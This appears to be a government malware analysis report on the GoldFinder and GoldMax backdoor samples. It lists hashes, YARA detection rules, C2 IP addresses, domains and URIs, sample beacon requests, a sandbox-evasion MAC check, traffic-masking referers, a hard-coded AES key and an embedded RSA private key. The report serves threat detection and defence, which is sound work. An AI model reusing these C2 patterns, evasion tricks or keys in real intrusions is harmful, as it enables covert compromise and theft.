ssdeep 49152:F3oUWn0hg/SlNpppOgFq/ANwhtB7ZUgB2SMS9AOE1w5ZRXR5/lTpJ6JwBS5g+A:qpx6bcVywhtB1Tx57X+A
Entropy 5.958753
Antivirus
Ahnlab Trojan/Win64.Cobalt
BitDefender Gen:Variant.Bulz.284134
Emsisoft Gen:Variant.Bulz.284134 (B)
Ikarus Trojan.Crypter
Lavasoft Gen:Variant.Bulz.284134
Microsoft Security Essentials Trojan:Win64/GoldFinder.A!dha
YARA Rules
  • rule CISA_3P_10327841_01 : SOLARFLARE trojan
    {
       meta:
           Author = “CISA Trusted Third Party”
           Incident = “10327841.r1.v1”
           Date = “2021-03-04”
           Actor = “n/a”
           Category = “Trojan”
           Family = “SOLARFLARE”
           Description = “Detects strings in Finder_exe samples”
           MD5_1 = “86e0f3071c3b3feecf36ea13891633fb”
           SHA256_1 = “d8009ad96082a31d074e85dae3761b51a78f99e2cc8179ba305955c2a645b94d”
       strings:
           $Go_Lang = “Go build ID:”
           $main_func = “main.main”
           $main_encrypt = “main.func1”
           $StatusCode = “StatusCode:”
           $Headers = “Headers:”
           $Data = “Data:”
           $Target = “Target:”
       condition:
           (uint16(0) == 0x5A4D) and all of them
    }
ssdeep Matches

No matches found.

PE Metadata
Compile Date 1969-12-31 19:00:00-05:00
Import Hash 91802a615b3a5c4bcc05bc5f66a5b219
PE Sections
MD5 Name Raw Size Entropy
c986ba8e4a156864e2afff2732285838 header 1536 1.243612
4a26b87fa44a548f2d6d6a3d2cf09fb2 .text 2284544 5.911172
46e1b5a3734e729d9bdce0a14120c910 .rdata 2400768 5.329403
952ce42dcbf61c3fac54c2c958e0c551 .data 259072 5.567652
52887da2b4d17327b2d67732484c11c2 .idata 1536 2.877795
07b5472d347d42780469fb2654b7fc54 .symtab 512 0.020393
Relationships
d8009ad960… Connected_To 185.225.69.69
d8009ad960… Contained_Within 0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9
Description

The file is an 64-bit Windows executable file. This file is the UPX unpacked sample from the UPX packed sample “finder.exe” (0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9). The application is written in the Golang (Go) open-source language. The application is designed to detect servers and network redirectors such as network security devices between the compromised systems and the C2 server. When executed, it attempts to connect to its C2 server using HTTPS on port 443. Once connection is established, it will log all of the HTTP request and response information from/to the hard-coded C2 in plaintext into “%current directory%loglog.txt” (Figure 1)

The malware uses the following hard-coded labels to store the request and response information in the log file:
Target: The C2 URI
StatusCode: HTTP response/status code
Headers: HTTP response headers and the values
Data: Data from the HTTP response received from the C2

Displayed below are sample HTTP request sent:

–Begin sample request–
GET / HTTP/1.1
Host: 185.225.69.69
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
–End sample request–

Screenshots

Figure 1 - Screenshot of the log file.

Figure 1 – Screenshot of the log file.

185.225.69.69

Tags

command-and-control

URLs
  • hxxps[:]//185.225.69.69/live
Ports
HTTP Sessions
  • GET / HTTP/1.1
    Host: 185.225.69.69
    User-Agent: Go-http-client/1.1
    Accept-Encoding: gzip
  • GET /live/ HTTP/1.1
    Host: 185.225.69.69
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
    Connection: Keep-Alive
    Cookie: wDacJ87epY=8aebf98f920a2a198c00d87c246572b9; hBZ38QSGIR7UgOKT=NZQWAvMR6VGKA; 0aUvm7fgB4UB5=IhFr8BnqYbP8ZZg1Zi8VPQWKQTXdRG8q; CLAshlHL1M=114
    Referer: www[.]google.com    
    Accept-Encoding: gzip
Whois

inetnum:        185.225.68.0 – 185.225.71.255
netname:        HU-XET-20171012
country:        HU
org:            ORG-XK7-RIPE
admin-c:        XL650-RIPE
tech-c:         XL650-RIPE
status:         ALLOCATED PA
mnt-by:         RIPE-NCC-HM-MNT
mnt-by:         hu-xet-1-mnt
created:        2017-10-12T13:51:43Z
last-modified: 2017-10-12T13:51:43Z
source:         RIPE

organisation: ORG-XK7-RIPE
org-name:     XET Kft.
country:        HU
org-type:     LIR
address:        Fraknó u. 8/B 1/4
address:        1115
address:        Budapest
address:        HUNGARY
e-mail:         info@xethost.com
admin-c:        XL650-RIPE
tech-c:         XL650-RIPE
abuse-c:        AR43371-RIPE
mnt-ref:        hu-xet-1-mnt
mnt-by:         RIPE-NCC-HM-MNT
mnt-by:         hu-xet-1-mnt
created:        2017-10-10T14:51:34Z
last-modified: 2020-12-16T12:18:59Z
source:         RIPE
phone:         +36702451572

org:            ORG-XK7-RIPE
address:        Fraknó u. 8/B 1/4
address:        1115
address:        Budapest
address:        HUNGARY
phone:         +36309374590
nic-hdl:        XL650-RIPE
mnt-by:         hu-xet-1-mnt
created:        2017-10-10T14:51:33Z
last-modified: 2019-10-09T11:32:49Z
source:         RIPE
e-mail:         support@xethost.com

% Information related to ‘185.225.68.0/22AS30836’

route:         185.225.68.0/22
descr:         Originated to Xethost by 23Net
origin:         AS30836
mnt-by:         hu-xet-1-mnt
mnt-by:         NET23-MNT
created:        2017-10-17T13:35:44Z
last-modified: 2017-10-17T13:35:44Z
source:         RIPE

Relationships
185.225.69.69 Connected_From d8009ad96082a31d074e85dae3761b51a78f99e2cc8179ba305955c2a645b94d
185.225.69.69 Connected_From fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836
Description

Finder.exe (0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9) and WindowsDSVC.exe (f28491b367375f01fb9337ffc137225f4f232df4e074775dd2cc7e667394651c) attempt to connect to this IP address.

f2a8bdf135caca0d7359a7163a4343701a5bdfbc8007e71424649e45901ab7e2

Tags

trojan

Details
Name f2.exe
Size 1940480 bytes
Type PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
MD5 f67f71503026181c8499b5709b2b51c4
SHA1 e93278e0e1af7fc2f75fe50318fdba7abe2cec0d
SHA256 f2a8bdf135caca0d7359a7163a4343701a5bdfbc8007e71424649e45901ab7e2
SHA512 dc2b788118c5733df1f9addad0d1634eb4d150521a042f0a09726a73cbf3b7682f5ce7a603ffc41871f54fe03c646529559df795586eb6a50c69bd7ede2aed3d
ssdeep 49152:+nHBoTLO0y0UvN+4EK4KnQ4Ub9r0/pVXoUz7NPA6Cl:0HEO0qz4KnQJbV+h7NP+
Entropy 7.874162
Antivirus
BitDefender Gen:Variant.Bulz.284134
Emsisoft Gen:Variant.Bulz.284134 (B)
Ikarus Trojan.Win64.Rozena
Lavasoft Gen:Variant.Bulz.284134
Microsoft Security Essentials Trojan:Win64/GoldFinder.A!dha
YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata
Compile Date 1969-12-31 19:00:00-05:00
Import Hash e58ab46f2a279ded0846d81bf0fa21f7
PE Sections
MD5 Name Raw Size Entropy
657af7f5c4c96b7699b37a285b3bb95d header 512 2.462581
d41d8cd98f00b204e9800998ecf8427e UPX0 0 0.000000
af51298804473081a36388c4452f0717 UPX1 1939456 7.874774
50620caa4cae52ec3a75710e0140e092 UPX2 512 1.661240
Relationships
f2a8bdf135… Connected_To nikeoutletinc.org
Description

This file is an 64-bit Windows executable file written in Golang (Go) and was identified as SOLARFLARE/GoldFinder malware. F2.exe is a variant of SOLARFLARE/GoldFinder, a stage 2 environmental analysis tool that was used in tandem with SUNSHUTTLE/GoldMax. F2.exe checks the network capabilities of the host machine in order to identify the host as a future platform for SUNSHUTTLE/GoldMax. F2.exe is nearly identical to the “finder.exe” sample (0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9), differing only by the domain it communicates.

Upon execution, it reaches out to the hard-coded domain nikeoutletinc.org over port 443 while also creating a file in its running directory called “loglog.txt.” As it receives a 200 OK from the specified domain, the details of the response are appended to the “loglog.txt” file and the executable exits. This connection is using HTTPS TLSv1.2 for encryption. After running, f2.exe closes and does not have persistence to run itself. This tool is meant to generate innocent-looking traffic to prod the network defense posture and determine whether the infected host is able to reach out to the internet. Next, another version of “finder” would be used to determine connectivity to the C2 domain. In the compromise associated with this f2.exe sample, a nearly identical file named f3.exe performed the role of reaching out to the C2 domain. This file does not need administrator privileges to run.

After unpacking the sample, displayed below are strings of interest:

–Begin strings of interest–
hxxps[:]//nikeoutletinc.org/id (%v) <= evictCount (%v)initSpan: unaligned lengthinvalid port %q after hostinvalid request descriptormalformed HTTP status codemalformed chunked encodingname not unique on networknet/http: request canceledno CSI structure available

Go build ID: “XoNtlAkjvYqniOio6xGI/0DIub_zdwXYX9I94QTxf/mSa3AXim2woQ8ym8GoD-/H3vqlJigkBWLlKW0U7Eq”
–End strings of interest–

Displayed below are loglog.txt contents after running f2.exe in a lab environment to mimic network traffic:

2021/03/17 10:36:35 Target: hxxps[:]//nikeoutletinc.org/
2021/03/17 10:36:35 StatusCode: 200
2021/03/17 10:36:35 Headers: map[Content-Length:[258] Content-Type:[text/html] Date:[Wed, 17 Mar 2021 14:36:35 GMT] Server:[INetSim HTTPs Server]]
2021/03/17 10:36:35 Data:
2021/03/17 10:36:35 <html>
<head>
<title>INetSim default HTML page</title>
</head>
<body>
<p></p>
<p align=”center”>This is the default HTML page for INetSim HTTP server fake mode.</p>
<p align=”center”>This file is an HTML document.</p>
</body>
</html>

If no network connection exists the file will contain:

2021/03/17 10:38:46 Get “hxxps[:]//nikeoutletinc.org/”: dial tcp 192.168.1.1:443: connectex: No connection could be made because the target machine actively refused it.

nikeoutletinc.org

Tags

command-and-control

Whois

Domain Name: NIKEOUTLETINC.ORG
Registry Domain ID: D402200000007305706-LROR
Registrar WHOIS Server: whois.namesilo.com
Registrar URL: www.namesilo.com
Updated Date: 2020-07-28T09:05:28Z
Creation Date: 2018-08-22T18:44:46Z
Registry Expiry Date: 2021-08-22T18:44:46Z
Registrar Registration Expiration Date:
Registrar: Namesilo, LLC
Registrar IANA ID: 1479
Registrar Abuse Contact Email: abuse@namesilo.com
Registrar Abuse Contact Phone: +1.4805240066
Reseller:
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Registrant Organization: See PrivacyGuardian.org
Registrant State/Province: AZ
Registrant Country: US
Name Server: NS35.HOSTERBOX.COM
Name Server: NS36.HOSTERBOX.COM
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form https://www.icann.org/wicf/)

Relationships
nikeoutletinc.org Connected_From ec5f07c169267dec875fdd135c1d97186b494a6f1214fb6b40036fd4ce725def
nikeoutletinc.org Connected_From f2a8bdf135caca0d7359a7163a4343701a5bdfbc8007e71424649e45901ab7e2
Description

f2.exe (f2a8bdf135caca0d7359a7163a4343701a5bdfbc8007e71424649e45901ab7e2) and SchCachedSvc.exe (ec5f07c169267dec875fdd135c1d97186b494a6f1214fb6b40036fd4ce725def) attempt to connect to this domain.

6b01eeef147d9e0cd6445f90e55e467b930df2de5d74e3d2f7610e80f2c5a2cd

Tags

trojan

Details
Name f3.exe
Size 1939968 bytes
Type PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
MD5 f50e89488b82622b4dd1a35a599a56ec
SHA1 90b76eb47c0a6a7ccb2017b55cee6df88b55b6bb
SHA256 6b01eeef147d9e0cd6445f90e55e467b930df2de5d74e3d2f7610e80f2c5a2cd
SHA512 b71b488fac96298ad02158854a5227d60d5f5fa1651be1017b6b0f67289e4935bd83544d6cc7df6d6ab54b4fcf5741556d7b75f5d80a0c0ee0ba4d108e4237c2
ssdeep 49152:BuGmlb/p27ls7+X1PgDd/oGKt4A2sPNrEUxw5acD:Klbh27A+Byd/IQs9Eu
Entropy 7.873962
Antivirus
BitDefender Gen:Variant.Bulz.284134
Emsisoft Gen:Variant.Bulz.284134 (B)
Ikarus Trojan.Win64.Rozena
Lavasoft Gen:Variant.Bulz.284134
Microsoft Security Essentials Trojan:Win64/GoldFinder.A!dha
YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata
Compile Date 1969-12-31 19:00:00-05:00
Import Hash e58ab46f2a279ded0846d81bf0fa21f7
PE Sections
MD5 Name Raw Size Entropy
4743b4f0244c6163eb4fa96688360cea header 512 2.464055
d41d8cd98f00b204e9800998ecf8427e UPX0 0 0.000000
11eafba3f3e1d220182ee43ca3d5c3ca UPX1 1938944 7.874568
50620caa4cae52ec3a75710e0140e092 UPX2 512 1.661240
Description

This file is an 64-bit Windows executable file written in Golang (Go) and was identified as SOLARFLARE/GoldFinder malware. F3.exe is a variant of SOLARFLARE/GoldFinder a stage 2 environmental analysis tool that was used in tandem with SUNSHUTTLE/GoldMax. F3.exe checks the network capabilities of the host machine in order to identify the host as a future platform for SUNSHUTTLE/GoldMax. F3.exe is nearly identical to the “finder.exe” sample (0affab34d950321e3031864ec2b6c00e4edafb54f4b327717cb5b042c38a33c9), differing only by the domain it communicates. Upon execution, it reaches out to the hard-coded domain google.com over port 443 while also creating a file in its running directory called “loglog.txt.” As it receives a 200 OK from the specified domain, the details of the response are appended to the “loglog.txt” file and the executable exits. This tool is meant to generate innocent-looking traffic to prod the network defense posture and determine whether the infected host is able to reach the internet. Next, another version of “finder” would be used to determine connectivity to the C2 domain. In the compromise associated with this f3.exe sample, a nearly identical file named f2.exe performed the role of communicating to the C2 domain.

f28491b367375f01fb9337ffc137225f4f232df4e074775dd2cc7e667394651c

Tags

trojan

Details
Name WindowsDSVC.exe
Size 2037248 bytes
Type PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
MD5 e930633b2d99da097ef2dfff6734afab
SHA1 1199a3bd32d9561b2827ed14a2e7d9093936d12f
SHA256 f28491b367375f01fb9337ffc137225f4f232df4e074775dd2cc7e667394651c
SHA512 33203c83637d6e97481b4c8977892acaabade1543f5132f247f356bc7a623c481ae76eab2f8282e7b99a4c6417c9c5c422dfba85d33907aa5466e90177aad8bf
ssdeep 49152:bqjCBg/1/zelmQLgGZRx9g4wwA3NnbgsPMfdLqEUI:bOCeFzelhL/TxEwwR0sk1Lqp
Entropy 7.875073
Antivirus
BitDefender Gen:Variant.Bulz.370300
ESET a variant of WinGo/Agent.AE trojan
Emsisoft Gen:Variant.Bulz.370300 (B)
Ikarus Trojan.Win64.Rozena
Lavasoft Gen:Variant.Bulz.370300
Microsoft Security Essentials Trojan:Win64/GoldMax.A!dha
Sophos Mal/GoldMax-A
YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata
Compile Date 1969-12-31 19:00:00-05:00
Import Hash e58ab46f2a279ded0846d81bf0fa21f7
PE Sections
MD5 Name Raw Size Entropy
b1ebe7f6d9f68ec788abf985f80220c9 header 512 2.484697
d41d8cd98f00b204e9800998ecf8427e UPX0 0 0.000000
5fe74989ec393ccead259222602d437c UPX1 2036224 7.875650
8b4f623319b09fd4b7d5fcdc5179f6ee UPX2 512 1.763456
Relationships
f28491b367… Contains fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836
Description

This file is an 64-bit Windows executable file written in Golang (Go) and was identified as SUNSHUTTLE/Goldmax malware. The executable is UPX packed, and when executed, the application will unpack and execute (fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836) in memory.

fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836

Tags

backdoortrojan

Details
Name WindowsDSVC.exe_Unpacked
Size 5180928 bytes
Type PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
MD5 4de28110bfb88fdcdf4a0133e118d998
SHA1 84ae7c2fee1c36822c8b3e54aef31e82d86613c1
SHA256 fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836
SHA512 2202852702404e60aeb642cda3ecfe0136a39bac04d86a746c987fbcbd14be3b763961b67a19a013e23e66c8f0c0c03050933e2e27eeb8d60291dad1cc590c29
ssdeep 49152:I4iyaNa/K/kLYvlGbdc55w/g0EuV+lU/VNW5HzuFNRQNAQQik2NXST9yXMw+37KI:nogIYY4bdaVE+lUNNW5iCvXno+A
Entropy 5.962488
Antivirus
Ahnlab Trojan/Win64.Cobalt
BitDefender Gen:Variant.Bulz.370300
ClamAV Win.Malware.SUNSHUTTLE-9838970-0
ESET a variant of WinGo/Agent.AE trojan
Emsisoft Gen:Variant.Bulz.370300 (B)
Ikarus Trojan.Crypter
Lavasoft Gen:Variant.Bulz.370300
Microsoft Security Essentials Trojan:Win64/GoldMax.A!dha
Sophos Mal/GoldMax-A
Systweak trojan-backdoor.sunshuttle-r
YARA Rules
  • rule CISA_3P_10327841_02 : SOLARFLARE trojan
    {
       meta:
           Author = “CISA Trusted Third Party”
           Incident = “10327841.r1.v1”
           Date = “2021-03-04”
           Actor = “n/a”
           Category = “Trojan”
           Family = “SOLARFLARE”
           Description = “Detects strings in WindowsDSVC_exe samples”
           MD5_1 = “4de28110bfb88fdcdf4a0133e118d998”
           SHA256_1 = “fa1959dd382ce868c975599c6c3cc536aa0073be44fc8a6571a20fb0c8bea836”
       strings:
           $Go_Lang = “Go build ID:”
           $main_func = “main.main”
           $main_encrypt = “main.encrypt”
           $main_MD5 = “main.GetMD5Hash”
           $main_beacon = “main.beaconing”
           $main_command = “main.resolve_command”
           $main_key1 = “main.request_session_key”
           $main_key2 = “main.retrieve_session_key”
           $main_clean = “main.clean_file”
           $main_wget = “main.wget_file”
       condition:
           (uint16(0) == 0x5A4D) and all of them
    }
  • rule FireEye_21_00004531_01 : SUNSHUTTLE backdoor
    {
       meta:
           Author = “FireEye”
           Date = “2021-03-04”
           Last_Modified = “20210305_1704”
           Actor = “UNC2452”
           Category = “Backdoor”
           Family = “SUNSHUTTLE”
           Description = “This rule detects strings found in SUNSHUTTLE”
           MD5_1 = “9466c865f7498a35e4e1a8f48ef1dffd”
           SHA256_1 = “b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8”
       strings:
           $s1 = “main.request_session_key”
           $s2 = “main.define_internal_settings”
           $s3 = “main.send_file_part”
           $s4 = “main.clean_file”
           $s5 = “main.send_command_result”
           $s6 = “main.retrieve_session_key”
           $s7 = “main.save_internal_settings”
           $s8 = “main.resolve_command”
           $s9 = “main.write_file”
           $s10 = “main.beaconing”
           $s11 = “main.wget_file”
           $s12 = “main.fileExists”
           $s13 = “main.removeBase64Padding”
           $s14 = “main.addBase64Padding”
           $s15 = “main.delete_empty”
           $s16 = “main.GetMD5Hash”
       condition:
           filesize<10MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (5 of them)
    }
  • rule FireEye_21_00004531_02 : SUNSHUTTLE backdoor
    {
       meta:
           Author = “FireEye”
           Date = “2021-03-04”
           Last_Modified = “20210305_1704”
           Actor = “UNC2452”
           Category = “Backdoor”
           Family = “SUNSHUTTLE”
           Description = “This rule detects strings found in SUNSHUTTLE”
           MD5_1 = “9466c865f7498a35e4e1a8f48ef1dffd”
           SHA256_1 = “b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8”
       strings:
           $s1 = “LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk”
           $s2 = “LS0tLS1FTkQgUFJJVkFURSBLRVktLS0tLQ”
           $s3 = “Go build ID: “”
       condition:
           filesize<10MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and all of them
    }
ssdeep Matches

No matches found.

PE Metadata
Compile Date 1969-12-31 19:00:00-05:00
Import Hash 91802a615b3a5c4bcc05bc5f66a5b219
PE Sections
MD5 Name Raw Size Entropy
d9e458c1580f06a7f3f2929f5400a209 header 1536 1.227428
97e1f8721f9fae6297bdcceb13887e95 .text 2404352 5.902419
ead2f864cd6d16d33f7282151865be45 .rdata 2512384 5.344095
b51b1bb5decadc56e32f8288fc400c68 .data 260608 5.551173
ace875ec125258b2042837d2a2443781 .idata 1536 2.877753
07b5472d347d42780469fb2654b7fc54 .symtab 512 0.020393
Relationships
fa1959dd38… Contained_Within f28491b367375f01fb9337ffc137225f4f232df4e074775dd2cc7e667394651c
fa1959dd38… Connected_To 185.225.69.69
Description

The file is an 64-bit Windows executable file. This file is the UPX unpacked sample from the UPX packed sample “WindowsDSVC.exe” (f28491b367375f01fb9337ffc137225f4f232df4e074775dd2cc7e667394651c). The application is written in the Golang (Go) open-source language. When executed, the malware terminates its code execution if the victim’s system MAC address is equal to a hard-coded Hyper-V sandbox default MAC address value: “c8:27:cc:c2:37:5a.” If not, the malware will proceed to check if the file “%current directory%runlog.dat.tmp” is installed on the compromised system. If the file is not installed, it will create and encrypt configuration data using the Advanced Encryption Standard (AES)-256 encryption algorithm with the hard-coded key: “u66vk8e1xe0qpvs2ecp1d14y3qx3d334.” The encrypted data is Base64 encoded using the custom Base64 alphabet (“=” replaced with null) before being stored into “runlog.dat.tmp” in the current directory.

Displayed below is the format of the configuration before being encrypted and encoded:
   
–Begin configuration data–
Format: MD5 hash of the current time|5-15|0|0|base64 encoded user-agent string
Sample observed: 8aebf98f920a2a198c00d87c246572b9|5-15|0|0|TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC83NS4w
–End configuration data–

The configuration contains: MD5 hash of the current time | the number range used by its pseudorandom number generator (PRNG) | enable and disable fake request network traffic feature | activation date| Base64 encoded user-agent string used for the requests| padding bytes.

It will attempt to send a HTTP GET request to its C2 server for a session key. The GET request contain a custom cookie (unique identifier value for the implant) for authentication, hard-coded User-Agent string and pseudo-randomly selected HTTP referer value from a list of websites below for masking C2 traffic:

–Begin randomized HTTP referer–
www[.]google.com
www[.]bing.com
www[.]facebook.com
www[.]mail.com
–End randomized HTTP referer–

It contains the following hard-coded legitimate and C2 Uniform Resource Identifier (URI):

–Begin C2 URIs–
https[:]//185.225.69.69/live
https[:]//185.225.69.69/icon.ico
https[:]//185.225.69.69/icon.png
https[:]//185.225.69.69/script.js
https[:]//185.225.69.69/style.css
https[:]//185.225.69.69/css/bootstrap.css
https[:]//185.225.69.69/scripts/jquery.js
https[:]//185.225.69.69/scripts/bootstrap.js
https[:]//185.225.69.69/css/style.css
–End C2 URIs–

–Begin legitimate URIs–
https[:]//www.gstatic.com/images/?
https[:]//ssl.gstatic.com/ui/v3/icons
https[:]//fonts.gstatic.com/s/font.woff2
https[:]//cdn.google.com/index
https[:]//code.jquery.com/
https[:]//cdn.mxpnl.com/
–End legitimate URIs–

Displayed below is a sample GET request for a session key:

–Begin sample request —
GET /live/ HTTP/1.1
Host: 185.225.69.69
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Connection: Keep-Alive
Cookie: wDacJ87epY=8aebf98f920a2a198c00d87c246572b9; hBZ38QSGIR7UgOKT=NZQWAvMR6VGKA; 0aUvm7fgB4UB5=IhFr8BnqYbP8ZZg1Zi8VPQWKQTXdRG8q; CLAshlHL1M=114
Referer: www[.]google.com    
Accept-Encoding: gzip
–End sample request —

The response payload was not available for analysis.

Analysis indicates that after receiving the response payload from its C2, it will send another HTTP GET request to its C2 similar to the above GET request. The only difference being the value of one of the cookies. The malware sends the following traffic to blend in with real traffic if the fake request network traffic feature in the configuration is enabled (set to 1):

Displayed below are sample requests:

–Begin request–
GET /ui/v3/icons/ HTTP/1.1
Host: ssl[.]gstatic.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Connection: Keep-Alive
Referer: www[.]google.com
Accept-Encoding: gzip
–Begin request–

–Begin request–
GET /css/bootstrap.css/ HTTP/1.1
Host: 185[.]225.69.69
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Connection: Keep-Alive
Referer: www[.]facebook.com
Accept-Encoding: gzip
–Begin request–

The malware is designed to receive a command from its C2 to allow its remote operator to download and execute files, upload files, start a command shell, and update the malware configuration data fields (overwriting the existing data in its configuration file with the new configuration data from the remote operator). The configuration data file can allow the remote operator to set a new activation date, update the number range used by its PRNG, enable and disable fake request network traffic feature, replace the existing URI and User-Agent values.

The malware contains a Base64-encoded RSA private key that may be used to decrypt the RSA Optimal Asymmetric Encryption Padding (OAEP) encrypted session key received from its C2:

–BEGIN PRIVATE KEY–
MIIEowIBAAKCAQEAn7SgleG8sxrq76pXIY/6mKi0EHfN2NVSrY1ELilCSVXUFZl4
aQTnuWPlJzRMB0aLlxl4HXyXWJLgtRT//Ar1TTai5/Z/OfP82y0cggudXhg6rc9U
fX5zykr1UNtl7Vl13nGh39YySEcMP1Eyz+L8OZ9WAs7G4+s9N7I3Di+a+ZlwG4Rs
Jb1zNrqxQlmr5bWgwRlWj0I/ngo7Ej/CjLXJNwW4LOcJu2Ok9R6SLWX1CpdvY/DD
Gi5Zdw3RzIuKDwRbUcIRApuiRxjxY/Os4+A+lhazmBsVK59KGKZZ4WckAzdrtFEm
g6VVlWjBv28PGIpXvhH+M9vUg3uPmcwXchg7wwIDAQABAoIBAEJlx2npCxnvtANm
b4k9ofM8GHjMRmHC9ve+xrzmXG++5kkAoGYRKwIRvSDahk10D+8HIMApn4assg23
KGIycB/k+j+0ZNrETLkW/UY36/pF2oeOrlLqctuE5I70WGEgk3ejCKjWFduk5jug
155EgZa3XvwV2ezCTZZNWsRkGGtyrj4AZ/vRX4rIyvMTFzm4/H5Pj6QTCUwTPt2i
ukXF7vf8MeDk4m77t7+x40nQ94I1Ti6LtzhiuRMr9Eub7GUHS8wtUq4527FOeKsC
reUDNETCmTZGnAT7KuXRNbhIKyxL/6Kep7Yb18PF5WF9Lyocx/VDHKPoOdv5pqTP
7yn0CLECgYEA0jwbgGTG5I33ghzOeAUmx2hRAPtmFTD9s/7X2vk91lmFCHqg8hVh
bbz6ELWKI9LP4XPzK4uMifJ2z3PXmNCRw4NBZy+0T132PQZd1V1x9lFOmAmiybRi
ePCPXtjVPbVQnV3F66Ad/8jv8pvxIZBYBxFGm6FF86WaoJXNKAILv4kCgYEAwnil
FKQYwOyARY5lwjY5dd04r72R3y0Wpa2b8Bo8cJjUR5VsH1XTZnmV/C+dMWhdlB8B
vNZxUOLO16hFhqu/rPEwk8RyvrHU+b89O8mnphVYSq0hEsSBMH5BUjqQiHKu+BEz
vsHb+KVJTcvRIOdrtjZJukeZ2toH9PVolpg44esCgYAffRFBcda4dOsVeesS3vKn
+1/mncD0e5oEU69RBPPWHyJl2rgwijNFlIB/8DD4nKK2Sf+qDgTGxKI3AErSgKrU
ddxd8C85lAFFsqZrRsvC8PqsmwTe4T2+j4lp02BdFcM1Ts5ONHVJ0nbeB61eMZh9
toC03rrze2JlmwpXa7cGwQKBgFUVNZx3QwE9N822xFyZHsCrff6doPGUp4DrGPuO
bv0QUGfVPw3infAKqA1Cw7J3J+IDQt5csA0kfjyqOWj3QZAnogo0e8NkyHpQKjk7
O+cVFaDuaDbu1FrkEi4ow01/Z3/O/uWpqVT687xevOt5dI2u6MjgRLcUh0CsEgs5
JEHrAoGBAL4zB1serfGXHvLO9dDiSO34w5XcVQK4E34ytM224blp16U0nz5hfSQD
WQaISJs/aqBuUgVUA3WZHZbEvKbcU5u0Ieos+rIGJrUv0tJtLgtOBmfz1q3jOKOY
qwQ6HoAHqfOC5FS6t0kBDsrssGHQTqTtrnxhL6l6oBlWWXNMxQ4g
–END PRIVATE KEY–

b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8

Tags

backdoortrojan

Details
Name Lexicon.exe
Size 2036736 bytes
Type PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
MD5 9466c865f7498a35e4e1a8f48ef1dffd
SHA1 72e5fc82b932c5395d06fd2a655a280cf10ac9aa
SHA256 b9a2c986b6ad1eb4cfb0303baede906936fe96396f3cf490b0984a4798d741d8
SHA512 7efa5f638b31b95637a497714b1b33b63abdd72afb035df574a195d20d37381a53f934e0908813dea513f46a4d7cda6a16a0511a721dd8e097c9efed6bf0fc46
ssdeep 49152:Om9E2fAhvsWGCDWMcvIODKsGHgNhX69CFoGlvcpTcVIa:61lIl1mlgb9aGdH
Entropy 7.874690
Antivirus
Ahnlab Backdoor/Win32.Sunshuttle
Antiy Trojan[Backdoor]/Win64.Agent
Avira TR/Sunshuttle.A
BitDefender Trojan.GenericKD.34453763
ClamAV Win.Malware.SUNSHUTTLE-9838969-0
Comodo Malware
Cyren W64/Trojan.VYRP-8655
ESET a variant of WinGo/Agent.AE trojan
Emsisoft Trojan.GenericKD.34453763 (B)
Ikarus Trojan.Win64.Rozena
K7 Trojan ( 00578be81 )
Lavasoft Trojan.GenericKD.34453763
Quick Heal Trojan.Agent
Sophos Troj/GoldMax-A
Symantec Backdoor.GoldMax
TrendMicro Backdoo.207681C5
TrendMicro House Call Backdoo.207681C5
VirusBlokAda Trojan.Win64.WinGo
Zillya! Trojan.APosT.Win32.1814
YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata
Compile Date 1969-12-31 19:00:00-05:00
Import Hash e58ab46f2a279ded0846d81bf0fa21f7
PE Sections
MD5 Name Raw Size Entropy
29214ad437f160f5bd92db6f746ecd8f header 512 2.447284
d41d8cd98f00b204e9800998ecf8427e UPX0 0 0.000000
02892067ad6acb49bb6de6eddcae1f78 UPX1 2035712 7.875271
74553568f3052911c6df3835582d3b64 UPX2 512 1.763456
Relationships
b9a2c986b6… Contains 94c58c7fb43153658eaa9409fc78d8741d3c388d3b8d4296361867fe45d5fa45
Description

This file is an 64-bit Windows executable file written in Golang (Go) and was identified as SUNSHUTTLE/Goldmax malware. The executable is UPX packed and when executed, the application will unpack and execute (94c58c7fb43153658eaa9409fc78d8741d3c388d3b8d4296361867fe45d5fa45) in memory.

